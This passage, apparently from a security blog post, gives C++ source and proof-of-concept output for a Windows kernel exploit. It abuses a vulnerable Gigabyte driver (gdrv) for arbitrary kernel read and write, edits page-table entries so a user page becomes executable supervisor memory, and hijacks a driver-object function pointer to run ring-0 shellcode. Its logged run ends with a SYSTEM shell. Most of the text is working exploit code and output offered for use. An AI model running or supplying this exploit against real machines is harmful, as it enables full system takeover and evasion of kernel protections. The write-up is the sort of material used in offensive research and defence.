static PTE_HARDWARE ReadPte(HANDLE drv, DWORD64 targetVa, DWORD64 mmPteBase) {
DWORD64 pteVa = GetPteVa(targetVa, mmPteBase);
PTE_HARDWARE pte = {};
ReadPrimitive(drv, &pte, (LPVOID)(uintptr_t)pteVa, sizeof(DWORD64));
return pte;
}

static void WritePte(HANDLE drv, DWORD64 targetVa, DWORD64 mmPteBase, PTE_HARDWARE pte) {
DWORD64 pteVa = GetPteVa(targetVa, mmPteBase);
WritePrimitive(drv, (LPVOID)(uintptr_t)pteVa, &pte, sizeof(DWORD64));
}

static bool MakePageKernelRwx(HANDLE drv, DWORD64 targetVa, DWORD64 mmPteBase) {
PTE_HARDWARE pte = ReadPte(drv, targetVa, mmPteBase);

printf("[*] Original PTE for 0x%llX: 0x%016llX\n", targetVa, pte.Value);

if (!pte.Valid) {
printf("[-] PTE not present\n");
return false;
}

pte.Owner = 0; // supervisor only (ring 0)
pte.Write = 1; // writable
pte.NoExecute = 0; // executable

WritePte(drv, targetVa, mmPteBase, pte);

PTE_HARDWARE verify = ReadPte(drv, targetVa, mmPteBase);
printf("[+] PTE modified: 0x%016llX\n", verify.Value);

return true;
}

GetOffsets.h

#pragma once
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <Windows.h>
#include <winhttp.h>
#include <dbghelp.h>
#include <stdio.h>
#include <string>
#include <vector>
//#include <algorithm>

#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "dbghelp.lib")

// Data Structures
struct PdbCodeViewInfo {
GUID Guid;
DWORD Age;
char PdbFileName[MAX_PATH];
};

struct KernelOffsets {
DWORD ObjectTable;
DWORD64 ObHeaderCookie;
DWORD UniqueProcessId;
DWORD ActiveProcessLinks;
DWORD64 PsInitialSystemProcess;
DWORD64 ObpRootDirectoryObject;

// _OBJECT_DIRECTORY_ENTRY
DWORD ODE_ChainLink;
DWORD ODE_Object;

// _OBJECT_HEADER
DWORD OH_InfoMask;
DWORD OH_Size;
DWORD OH_Body;


// _OBJECT_HEADER_NAME_INFO
DWORD OHNI_Name;

// _DRIVER_OBJECT
DWORD DO_DriverName; // offseet DriverName in _UNICODE_STRING

DWORD64 IopInvalidDeviceRequest;
DWORD DO_MajorFunction;
DWORD DO_DriverExtension;
DWORD DE_AddDevice;

DWORD64 MiGetPteAddressRva;
DWORD Token;
};

// PE Parsing

#pragma pack(push, 1)
struct CV_INFO_PDB70 {
DWORD CvSignature; // 0x53445352 = 'RSDS'
GUID Signature;
DWORD Age;
char PdbFileName[1];
};
#pragma pack(pop)

static DWORD RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva) {
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (rva >= sec->VirtualAddress &&
rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return rva - sec->VirtualAddress + sec->PointerToRawData;
}
return 0;
}

static bool GetPdbInfoFromPE(const char* exePath, PdbCodeViewInfo& out) {
HANDLE hFile = CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath, GetLastError());
return false;
}

LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
bool ok = ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr)
&& rd == buf.size();
CloseHandle(hFile);
if (!ok) return false;

auto* dos = reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return false;
auto* nt = reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return false;

auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!dd.VirtualAddress || !dd.Size) return false;

DWORD ddOff = RvaToFileOffset(nt, dd.VirtualAddress);
if (!ddOff || ddOff + dd.Size > buf.size()) return false;

int entryCount = dd.Size / sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries = reinterpret_cast<PIMAGE_DEBUG_DIRECTORY>(buf.data() + ddOff);

for (int i = 0; i < entryCount; i++) {
if (entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW) continue;

DWORD raw = entries[i].PointerToRawData;
if (!raw) raw = RvaToFileOffset(nt, entries[i].AddressOfRawData);
if (!raw || raw >= buf.size()) continue;

auto* cv = reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if (cv->CvSignature != 0x53445352) continue; // 'RSDS'

out.Guid = cv->Signature;
out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
return true;
}

printf("[-] No CodeView RSDS entry found in PE\n");
return false;
}

// PDB Cache Validation

#pragma pack(push, 1)
struct MsfSuperBlock {
char FileMagic[0x20];
DWORD BlockSize;
DWORD FreeBlockMapBlock;
DWORD NumBlocks;
DWORD NumDirectoryBytes;
DWORD Unknown;
DWORD BlockMapAddr;
};
struct PdbInfoStreamHeader {
DWORD Version;
DWORD Signature;
DWORD Age;
GUID UniqueId;
};
#pragma pack(pop)

static bool ExtractGuidFromPdb(const char* pdbPath, GUID& outGuid) {
HANDLE hFile = CreateFileA(pdbPath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) return false;

LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE> buf(static_cast<size_t>(sz.QuadPart));
DWORD rd = 0;
ReadFile(hFile, buf.data(), static_cast<DWORD>(buf.size()), &rd, nullptr);
CloseHandle(hFile);

if (buf.size() < sizeof(MsfSuperBlock)) return false;

// MSF 7.00 magic (null-terminated string is 32 bytes including padding)
static const char kMsfMagic[] = "Microsoft C/C++ MSF 7.00\r\n\x1A""DS";
auto* sb = reinterpret_cast<MsfSuperBlock*>(buf.data());
if (memcmp(sb->FileMagic, kMsfMagic, sizeof(kMsfMagic) - 1) != 0) return false;

DWORD bs = sb->BlockSize;
DWORD nd = sb->NumDirectoryBytes;
if (!bs || !nd) return false;

DWORD nDirBlocks = (nd + bs - 1) / bs;
DWORD bmOffset = sb->BlockMapAddr * bs;
if (bmOffset >= buf.size()) return false;

// Reconstruct stream directory into contiguous buffer
auto* blockIdx = reinterpret_cast<DWORD*>(buf.data() + bmOffset);
std::vector<BYTE> dir(nd, 0);
DWORD written = 0;
for (DWORD i = 0; i < nDirBlocks; i++) {
DWORD blkOff = blockIdx[i] * bs;
if (blkOff >= buf.size()) break;
DWORD chunk = min(bs, nd - written);
memcpy(dir.data() + written, buf.data() + blkOff, chunk);
written += chunk;
}

// Directory layout: [NumStreams(4)] [StreamSizes(4*N)] [StreamBlockIndices...]
DWORD numStreams = *reinterpret_cast<DWORD*>(dir.data());
if (numStreams < 2) return false;

auto* streamSizes = reinterpret_cast<DWORD*>(dir.data() + 4);
auto* flatBlocks = reinterpret_cast<DWORD*>(dir.data() + 4 + numStreams * 4);

DWORD s0Size = streamSizes[0];
DWORD s0Blocks = (s0Size == 0xFFFFFFFF) ? 0 : (s0Size + bs - 1) / bs;

// Stream 1 first block index sits right after all of stream 0's block indices
DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;

outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
return true;
}

// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
wchar_t guid[48];
swprintf_s(guid,
L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
g.Data1, g.Data2, g.Data3,
g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
age);

std::wstring uri = L"/download/symbols/";
uri += pdbName; uri += L"/";
uri += guid; uri += L"/";
uri += pdbName;
return uri;
}

static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());

HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }

HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE) : nullptr;

auto closeAll = [&] {
if (hReq) WinHttpCloseHandle(hReq);
if (hConn) WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
};

if (!hReq) { closeAll(); return false; }

if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
!WinHttpReceiveResponse(hReq, nullptr)) {
printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
closeAll();
return false;
}

DWORD status = 0, statusLen = sizeof(status);
WinHttpQueryHeaders(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);

if (status != 200) {
printf("[-] HTTP %lu from symbol server\n", status);
closeAll();
return false;
}

// Read body in chunks
std::vector<BYTE> body;
body.reserve(32 * 1024 * 1024);
BYTE chunk[65536];
DWORD rd = 0;
while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
body.insert(body.end(), chunk, chunk + rd);

closeAll();

if (body.empty()) {
printf("[-] Empty response from symbol server\n");
return false;
}

HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
return false;
}
DWORD wr = 0;
WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
CloseHandle(hFile);

printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
return true;
}

// DbgHelp Symbol Resolution
struct SymFindCtx {
const char* name;
DWORD64 address;
bool found;
};

struct TypeFindCtx {
const char* name;
ULONG typeIndex;
bool found;
};

static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* s = static_cast<SymFindCtx*>(ctx);
if (_stricmp(pInfo->Name, s->name) == 0) {
s->address = pInfo->Address;
s->found = true;
return FALSE;
}
return TRUE;
}

static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
auto* t = static_cast<TypeFindCtx*>(ctx);
if (_stricmp(pInfo->Name, t->name) == 0) {
t->typeIndex = pInfo->TypeIndex;
t->found = true;
return FALSE;
}
return TRUE;
}

// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
SymFindCtx ctx{ symName, 0, false };
SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
if (!ctx.found || !ctx.address) {
printf("[-] Symbol not found: %s\n", symName);
return 0;
}
return ctx.address - modBase;
}

// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
const char* structName, const char* fieldName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found: %s\n", structName);
return 0;
}

DWORD childCount = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
childCount == 0)
return 0;

// TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
std::vector<BYTE> paramBuf(paramSz, 0);
auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
params->Count = childCount;
params->Start = 0;

if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
return 0;

// Convert target field name to wide for comparison with TI_GET_SYMNAME output
wchar_t wField[256];
MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);

for (DWORD i = 0; i < childCount; i++) {
WCHAR* nameW = nullptr;
if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
continue;

bool match = (_wcsicmp(nameW, wField) == 0);
LocalFree(nameW); // DbgHelp allocates with LocalAlloc

if (match) {
DWORD offset = 0;
SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
return offset;
}
}

printf("[-] Field not found: %s::%s\n", structName, fieldName);
return 0;
}

static DWORD ResolveStructSize(HANDLE hSym, DWORD64 modBase, const char* structName) {
TypeFindCtx tCtx{ structName, 0, false };
SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
if (!tCtx.found) {
printf("[-] Struct not found for sizeof: %s\n", structName);
return 0;
}

ULONG64 size = 0;
if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_LENGTH, &size)) {
printf("[-] TI_GET_LENGTH failed for: %s\n", structName);
return 0;
}

return (DWORD)size;
}

static DWORD64 ResolveMmPteBaseRva(HANDLE hSym, DWORD64 modBase) {
SymFindCtx ctx{ "MiGetPteAddress", 0, false };
SymEnumSymbols(hSym, modBase, "MiGetPteAddress", OnSymbol, &ctx);
if (!ctx.found) {
printf("[-] MiGetPteAddress not found in PDB\n");
return 0;
}
return ctx.address - modBase;
}

static bool ResolveKernelOffsets(KernelOffsets& out) {
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;

char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);

// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
return false;
}

// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);

// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);

// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}

if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
return false;
}
}

// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);

// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
return false;
}

wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);

const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
return false;
}
modBase = kFakeBase; // already loaded
}

printf("[+] PDB loaded at base 0x%llX\n", modBase);

// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
out.Token = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "Token");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
out.ObHeaderCookie = ResolveSymbolRva(hSym, modBase, "ObHeaderCookie");
out.ObpRootDirectoryObject = ResolveSymbolRva(hSym, modBase, "ObpRootDirectoryObject");
out.ODE_ChainLink = ResolveFieldOffset(hSym, modBase, "_OBJECT_DIRECTORY_ENTRY", "ChainLink");
out.ODE_Object = ResolveFieldOffset(hSym, modBase, "_OBJECT_DIRECTORY_ENTRY", "Object");

out.OH_InfoMask = ResolveFieldOffset(hSym, modBase, "_OBJECT_HEADER", "InfoMask");
out.OH_Size = ResolveStructSize(hSym, modBase, "_OBJECT_HEADER");
out.OH_Body = ResolveFieldOffset(hSym, modBase, "_OBJECT_HEADER", "Body");
out.OHNI_Name = ResolveFieldOffset(hSym, modBase, "_OBJECT_HEADER_NAME_INFO", "Name");
out.DO_DriverName = ResolveFieldOffset(hSym, modBase, "_DRIVER_OBJECT", "DriverName");
out.DO_MajorFunction = ResolveFieldOffset(hSym, modBase, "_DRIVER_OBJECT", "MajorFunction");
out.IopInvalidDeviceRequest = ResolveSymbolRva(hSym, modBase, "IopInvalidDeviceRequest");
out.DO_DriverExtension = ResolveFieldOffset(hSym, modBase, "_DRIVER_OBJECT", "DriverExtension");
out.DE_AddDevice = ResolveFieldOffset(hSym, modBase, "_DRIVER_EXTENSION", "AddDevice");
out.MiGetPteAddressRva = ResolveMmPteBaseRva(hSym, modBase);
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);

return 1;
}

DrvOps.h

#pragma once
#include <iostream>
#include <Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#define IOCTL_READWRITE_PRIMITIVE 0xC3502808

using namespace std;

typedef struct KernelWritePrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelWritePrimitive;

typedef struct KernelReadPrimitive {
LPVOID dst;
LPVOID src;
DWORD size;
} KernelReadPrimitive;

BOOL WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelWritePrimitive kwp;
kwp.dst = dst;
kwp.src = src;
kwp.size = size;

BYTE bufferReturned[48] = { 0 };
DWORD returned = 0;
BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp, sizeof(kwp), (LPVOID)bufferReturned, sizeof(bufferReturned), &returned, nullptr);
if (!result) {
cout << "Failed to send write primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
cout << "Write primitive sent successfully. Bytes returned: " << returned << endl;
return TRUE;
}

BOOL ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size) {
KernelReadPrimitive krp;
krp.dst = dst;
krp.src = src;
krp.size = size;


DWORD returned = 0;

BOOL result = DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp, sizeof(krp), (LPVOID)dst, size, &returned, nullptr);
if (!result) {
cout << "Failed to send read primitive. Error code: " << GetLastError() << endl;
return FALSE;
}
return TRUE;
}

HANDLE openVulnDriver() {
HANDLE driver = CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (!driver || driver == INVALID_HANDLE_VALUE)
{
cout << "Failed to open handle to driver. Error code: " << GetLastError() << endl;
return NULL;
}
return driver;
}

Proof of Concept

Let’s run the code:

C:\Windows\System32>sc start gdrv

SERVICE_NAME: gdrv
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :

C:\Windows\System32>C:\Users\s12de\Documents\Github\byovds\FromRW_BYOVDto\RunShellcodeFromDriverAddDevice\x64\Debug\RunShellcodeFromDriverAddDevice.exe
Hello World!
[*] Kernel image: C:\WINDOWS\system32\ntoskrnl.exe
[*] PDB: ntkrnlmp.pdb Age: 1
[+] Valid cached PDB: C:\Users\s12de\AppData\Local\Temp\ntkrnlmp.pdb
[+] PDB loaded at base 0x10000000
NTOSKRNL Base address fffff800dc000000


[+] Offsets resolved
ObjectTable: 0x300
ActiveProcessLinks: 0x1D8
UniqueProcessId: 0x1D0
PsInitialSystemProcess: 0xFC6AB0
ObHeaderCookie: 0xFC6E4C
ObHeaderCookie: 0xFC6E4C
ObpRootDirectoryObject: 0xF0F668
ODE_ChainLink: 0x0
ODE_Object: 0x8
OH_InfoMask: 0x1A
OH_Body: 0x30
OHNI_Name: 0x8
DO_DriverName: 0x38
IopInvalidDeviceRequest: 0x29B590
MajorFunction: offset 0x70
DE_AddDevice: offset 0x8
DO_Driver_Extension: offset 0x30
[+] MmPteBase: 0xFFFFDF8000000000 (at offset +17 in MiGetPteAddress)
[*] Shellcode VA: 0x1DE7A680000

[+] Shellcode copied to page
[*] Original PTE for 0x1DE7A680000: 0x88000001E19EF867
Write primitive sent successfully. Bytes returned: 0
[+] PTE modified: 0x08000001E19EF863
[+] Page marked as Supervisor RWX
[*] To execute from ring 0, redirect a kernel function pointer to 0x1DE7A680000
[*] ObpRootDirectoryObject: 0xFFFF93067A28A5B0
[*] Bucket 0: entry=0xFFFF93068246B140
entry=0xFFFF93068246B140 object=0xFFFF808BD5D59080
header=0xFFFF808BD5D59050 infoMask=0x0A
nameInfoOffset=0x20 nameInfo=0xFFFF808BD5D59030
name: Container_MicrosoftWindows.CrossDevice_1.26082.74.0_x64__cw5n1h2txyewy-S-1-5-21-1412671577-174115010-2093444173-1001
entry=0xFFFF93067E80F1A0 object=0xFFFF808BD38A45E0
header=0xFFFF808BD38A45B0 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF808BD38A4590
name: UnionfsPort
[*] Bucket 1: entry=0xFFFF930682467A20
entry=0xFFFF930682467A20 object=0xFFFF808BD5A690D0
header=0xFFFF808BD5A690A0 infoMask=0x0A
nameInfoOffset=0x20 nameInfo=0xFFFF808BD5A69080
name: Container_MicrosoftWindows.Client.WebExperience_526.21100.40.0_x64__cw5n1h2txyewy-S-1-5-21-1412671577-174115010-2093444173-1001
entry=0xFFFF93067AA593B0 object=0xFFFF808BD237D090
header=0xFFFF808BD237D060 infoMask=0x0A
nameInfoOffset=0x20 nameInfo=0xFFFF808BD237D040
name: PendingRenameMutex
entry=0xFFFF93067A20C1E0 object=0xFFFF93067A20C060
header=0xFFFF93067A20C030 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF93067A20C010
name: ObjectTypes
[*] Bucket 2: entry=0xFFFF93067E811B70
entry=0xFFFF93067E811B70 object=0xFFFF808BD38A4060
header=0xFFFF808BD38A4030 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF808BD38A4010
name: storqosfltport
...
[*] Bucket 36: entry=0xFFFF93067A479370
entry=0xFFFF93067A479370 object=0xFFFF808BC9DF8F60
header=0xFFFF808BC9DF8F30 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF808BC9DF8F10
name: SAM_SERVICE_STARTED
entry=0xFFFF93067A470610 object=0xFFFF93067A37E7B0
header=0xFFFF93067A37E780 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFF93067A37E760
name: Driver
[*] Found \Driver\ directory at 0xFFFF93067A37E7B0
driver: \Driver\fvevol
driver: \Driver\vdrvroot
driver: \Driver\NetBT
driver: \Driver\acpiex
driver: \Driver\Wdf01000
driver: \Driver\WdNisDrv
driver: \Driver\mpsdrv
driver: \Driver\storahci
driver: \Driver\MMCSS
driver: \Driver\lltdio
driver: \Driver\RegistryHiveCacheDriver
driver: \Driver\bam
driver: \Driver\Psched
driver: \Driver\BasicRender
driver: \Driver\disk
driver: \Driver\HTTP
driver: \Driver\CAD
driver: \Driver\WscVReg
driver: \Driver\pwdrvio
driver: \Driver\monitor
driver: \Driver\ahcache
driver: \Driver\iorate
driver: \Driver\pcw
driver: \Driver\Ucx01000
driver: \Driver\USBXHCI
driver: \Driver\partmgr
driver: \Driver\PEAUTH
driver: \Driver\MsLldp
driver: \Driver\Vid
driver: \Driver\ACPI_HAL
driver: \Driver\E1G60
driver: \Driver\spaceport
driver: \Driver\HidUsb
driver: \Driver\vwififlt
driver: \Driver\condrv
driver: \Driver\DXGKrnl
driver: \Driver\PnpManager
driver: \Driver\Null
driver: \Driver\SysmonDrv
driver: \Driver\intelpep
driver: \Driver\PRM
driver: \Driver\wanarp
driver: \Driver\SoftwareDevice
driver: \Driver\VBoxGuest
driver: \Driver\CLFS
driver: \Driver\WindowsTrustedRTProxy
driver: \Driver\CDD
driver: \Driver\NdisCap
driver: \Driver\KSecDD
driver: \Driver\volmgr
driver: \Driver\DeviceApi
driver: \Driver\umbus
driver: \Driver\CNG
driver: \Driver\Win32k
driver: \Driver\i8042prt
driver: \Driver\npsvctrig
driver: \Driver\volume
driver: \Driver\KSecPkg
driver: \Driver\TPM
driver: \Driver\amdwps
driver: \Driver\mouclass
driver: \Driver\msisadrv
driver: \Driver\IntelPMT
driver: \Driver\wtd
driver: \Driver\Ndu
driver: \Driver\kbdclass
driver: \Driver\mouhid
driver: \Driver\volsnap
driver: \Driver\gdrv
[+] Found _DRIVER_OBJECT at 0xFFFF808BDA9EDE10 (\Driver\gdrv)
[+] _DRIVER_OBJECT: 0xFFFF808BDA9EDE10
Write primitive sent successfully. Bytes returned: 0
[+] Done
SYSTEM shell spawned PID 2676

And then the new CMD pops up:

Conclusions

PTE manipulation combined with IRP dispatch hijacking achieves ring 0 shellcode execution without allocating kernel memory and without patching any kernel code region.

The shellcode page lives in user space by VA but the CPU treats it as supervisor memory after a single PTE bit flip. The only persistent kernel modification is one function pointer in a _DRIVER_OBJECT

The technique requires an existing kernel arbitrary write primitive, BYOVD is the standard delivery mechanism, but once that primitive is available, this execution path is great

📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube

S12.